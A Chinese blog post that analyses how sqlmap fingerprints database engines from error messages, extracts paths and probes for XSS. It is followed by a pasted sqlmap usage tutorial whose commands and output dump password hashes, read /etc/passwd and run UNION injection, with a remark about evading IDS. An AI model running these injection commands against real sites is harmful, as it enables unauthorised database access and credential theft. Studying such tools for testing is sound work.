SQLMAP的前世今生Part2 数据库指纹识别

猎豹科学院 · 2015/11/24 19:03

0x00 前言


谈到SQL注入,那麽第一时间就会想到神器SQLMAP,SQLMap是一款用来检测与利用的SQL注入开源工具。那麽SQLMap在扫描SQL的逻辑到底是怎样实现的呢,接下来就探讨下SQLMap的扫描逻辑,通过了解SQLMap的扫描逻辑打造一款属于自己的SQL扫描工具。

0x01 SQLMAP的准备工作


SQLMAP在进行扫描之前会有一些其他的功能去确定当前的目标的一些有用的信息,如防火墙的检测,当检测到有防火墙之后,进行SQL检测时的判断依据也会有所调整,如bool类型的盲注的时候,而其中heuristicCheckSqlInjection这一函数既会影响到接下来所要使用什么样的Payload进行测试,heuristicCheckSqlInjection翻译过来的意思是启发式SQL注入测试,那麽到底什么是启发式,具体作用到底是什么呢,在我们经常使用SQLMAP的时候,有可能会出现以下的提示。

上面提示我们当前的目标数据库版本好像是Oracle,而这上面的提示的依据就是根据这一个启发式SQL注入测试也就是本文要介绍的heuristicCheckSqlInjection来决定的。SQLMAP中有许多的Payload,足以有几百条,那麽如果全部Payload都测试一遍的话,无疑是一件很浪费时间的事情,除非Payload中的risk,clause,where字段中加以过滤,还会以这一个根据数据库的指纹来选择所要测试的Payload。

heuristicCheckSqlInjection的主要作用可以分为以下几点:

  1. 数据库版本的识别。
  2. 绝对路径获取。
  3. XSS的测试

0x02 数据库版本的识别


#!python
# Alphabet used for heuristic checks
HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
...
randStr = ""
while '\'' not in randStr:
    randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)
kb.heuristicMode = True
payload = "%s%s%s" % (prefix, randStr, suffix)
payload = agent.payload(place, parameter, newValue=payload)
page, _ = Request.queryPage(payload, place, content=True, raise404=False)
...
复制代码

首先会从HEURISTIC_CHECK_ALPHABET中随机抽取10个字符出现构造Payload,当然里面的都不是些普通的字符,而且些特殊字符,当我们进行SQL注入测试的时候会很习惯的在参数后面加个分号啊什么的,又或者是其他一些特殊的字符,出现运气好的话有可能会暴出数据的相关错误信息,而那个时候我们就可以根据所暴出的相关错误信息去猜测当前目标的数据库是什么。

实际找个网站测试,打下码,保护下。

http://***.***.***/datalist/default.aspx/article?category_id=1051
复制代码

那麽经过while '\'' not in randStr:后生成了随机的字符,然后就是发包检测返回的数据了。

如下图:

其实熟悉SQL注入的人也知道这是一个Oracle的一个错误信息,那麽接下来看看SQLMAP到底是怎样去判断的。

位于./lib/request/connect.py中的getPage函数,大约在598行。

#!python
def getPage(**kwargs):
    ...
    processResponse(page, responseHeaders)
    ...
复制代码

其中processResponse会调用到./lib/parse/html.py中的htmlParser函数,这一个函数就是根据不同的数据库指纹去识别当前的数据库究竟是什么。

#!python
def htmlParser(page):
    """
    This function calls a class that parses the input HTML page to
    fingerprint the back-end database management system
    """
    xmlfile = paths.ERRORS_XML
    handler = HTMLHandler(page)
    parseXmlFile(xmlfile, handler)
    if handler.dbms and handler.dbms not in kb.htmlFp:
        kb.lastParserStatus = handler.dbms
        kb.htmlFp.append(handler.dbms)
    else:
        kb.lastParserStatus = None
    # generic SQL warning/error messages
    if re.search(r"SQL (warning|error|syntax)", page, re.I):
        handler._markAsErrorPage()
    return handler.dbms
复制代码

最终实现的的其实是HTMLHandler这个类,而paths.ERRORS_XML这一变量的就是SQLMAP用来识别的指纹配置文件路径,位置在于./xml/errors.xml中。

#!html
<!-- Oracle -->
<dbms value="Oracle">
    <error regexp="\bORA-[0-9][0-9][0-9][0-9]"/>
    <error regexp="Oracle error"/>
    <error regexp="Oracle.*Driver"/>
    <error regexp="Warning.*\Woci_.*"/>
    <error regexp="Warning.*\Wora_.*"/>
</dbms>
复制代码

这一配置文件的比较简单,其实也就是一些对应数据库的正则。SQLMAP在解析errors.xml的时候,然后根据regexp中的正则去匹配当前的页面信息然后去确定当前的数据库。

#!python
class HTMLHandler(ContentHandler):
    """
    This class defines methods to parse the input HTML page to
    fingerprint the back-end database management system
    """
    def __init__(self, page):
        ContentHandler.__init__(self)
        self._dbms = None
        self._page = page
        self.dbms = None
    def _markAsErrorPage(self):
        threadData = getCurrentThreadData()
        threadData.lastErrorPage = (threadData.lastRequestUID, self._page)
    def startElement(self, name, attrs):
        if name == "dbms":
            self._dbms = attrs.get("value")
        elif name == "error":
            if re.search(attrs.get("regexp"), self._page, re.I):
                self.dbms = self._dbms
                self._markAsErrorPage()
复制代码

可以发现当前返回的页面信息命中了<error regexp="\bORA-[0-9][0-9][0-9][0-9]"/>这一条正规

到此SQLMap就可以确定数据的版本了,从而选择对应的测试Payload,减少SQLMAP的扫描时间。

0x03 绝对路径获取与XSS检测


相比指纹识别,获取绝对路径的功能模块相对简单,利用正则匹配寻找出绝对路径。

#!python
def parseFilePaths(page):
    """
    Detects (possible) absolute system paths inside the provided page content
    """
    if page:
        for regex in (r" in <b>(?P<result>.*?)</b> on line", r"(?:>|\s)(?P<result>[A-Za-z]:[\\/][\w.\\/]*)", r"(?:>|\s)(?P<result>/\w[/\w.]+)"):
            for match in re.finditer(regex, page):
                absFilePath = match.group("result").strip()
                page = page.replace(absFilePath, "")
                if isWindowsDriveLetterPath(absFilePath):
                    absFilePath = posixToNtSlashes(absFilePath)
                if absFilePath not in kb.absFilePaths:
                    kb.absFilePaths.add(absFilePath)
复制代码

而XSS的检测代码位于889行中:

#!python
# String used for dummy XSS check of a tested parameter value
DUMMY_XSS_CHECK_APPENDIX = "<'\">"
    ...
    value = "%s%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr())
    payload = "%s%s%s" % (prefix, "'%s" % value, suffix)
    payload = agent.payload(place, parameter, newValue=payload)
    page, _ = Request.queryPage(payload, place, content=True, raise404=False)
    paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
    if value in (page or ""):
        infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType
        infoMsg += "'%s' might be vulnerable to XSS attacks" % parameter
        logger.info(infoMsg)
    ...
复制代码

最后根据输入的字符是否留着页面上,如果存在就提示有可能拥有XSS漏洞。

0x04 总结


至此heuristicCheckSqlInjection的功能也介绍的差不多了,通过具体了解SQLMAP的一些扫描规则又或者是思路,可以让我们根据具体的情况去配置SQLMAP又或者编写自己的SQL Fuzz系统,其中可以通过编辑errors.xml这一指数据纹配置来增强SQLMAP的嗅探能力,从而打造更强大的神器了。

Here is a list of major features implemented in sqlmap: * Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server database management system back-end. Besides these four DBMS, sqlmap can also identify Microsoft Access, DB2, Informix and Sybase; * Extensive database management system back-end fingerprint based upon: o Inband DBMS error messages o DBMS banner parsing o DBMS functions output comparison o DBMS specific features such as MySQL comment injection o Passive SQL injection fuzzing * It fully supports two SQL injection techniques: o Blind SQL injection, also known as Inference SQL injection o Inband SQL injection, also known as UNION query SQL injection and it partially supports error based SQL injection as one of the vectors for database management system fingerprint; * It automatically tests all provided GET, POST, Cookie and User- Agent parameters to find dynamic ones. On these it automatically tests and detects the ones affected by SQL injection. Moreover each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three type with one and two brackets to find which is the valid syntax to perform further injections with; * It is possible to provide the name of the only parameter(s) that you want to perform tests and use for injection on, being them GET, POST, Cookie parameters; * SQL injection testing and detection does not depend upon the web application database management system back-end. SQL injection exploiting and query syntax obviously depend upon the web application database management system back-end; * It recognizes valid queries by false ones based upon HTML output page hashes comparison by default, but it is also possible to choose to perform such test based upon string matching; * HTTP requests can be performed in both HTTP method GET and POST (default: GET); * It is possible to perform HTTP requests using a HTTP User-Agent header string randomly selected from a text file; * It is possible to provide a HTTP Cookie header string, useful when the web application requires authentication based upon cookies and you have such data; * It is possible to provide an anonymous HTTP proxy address and port to pass by the HTTP requests to the target URL; * It is possible to provide the remote DBMS back-end if you already know it making sqlmap save some time to fingerprint it; * It supports various command line options to get database management system banner, current DBMS user, current DBMS database, enumerate users, users password hashes, databases, tables, columns, dump tables entries, dump the entire DBMS, retrieve an arbitrary file content (if the remote DBMS is MySQL) and provide your own SQL SELECT statement to be evaluated; * It is possible to make sqlmap automatically detect if the affected parameter is also affected by an UNION query SQL injection and, in such case, to use it to exploit the vulnerability; * It is possible to exclude system databases when enumerating tables, useful when dumping the entire DBMS databases tables entries and you want to skip the default DBMS data; * It is possible to view the Estimated time of arrival for each query output, updated in real time while performing the SQL injection attack; * Support to increase the verbosity level of output messages; * It is possible to save queries performed and their retrieved value in real time on an output text file and continue the injection resuming from such file in a second time; * PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR (or similar) DBMS specific function. 昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。 1、首先安装python2.5。 2、然后进入sqlmap的目录,执行sqlmap 详细用法 1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 [hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL >= 5.0.0 4、指定参数注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" [hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...] Or if you want to provide more than one parameter, for instance: $ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 5、指定方法和post的数据 python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" -- data "id=1&cat=2" 6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 7、通过代理注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- current-db current database: 'testdb' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- passwords database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs available databases [3]: [*] information_schema [*] mysql [*] testdb python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- columns -T "user" -D "mysql" Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+ 13、显示指定的文件内容,一般用于php python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file / etc/passwd /etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash --- 14、执行你自己的sql语句。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" [hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY' 15、union注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union- check valid union: 'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- union-use --banner [...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--&cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b - o "sqlmap.log" [...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- banner -o "sqlmap.log" --resume [...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值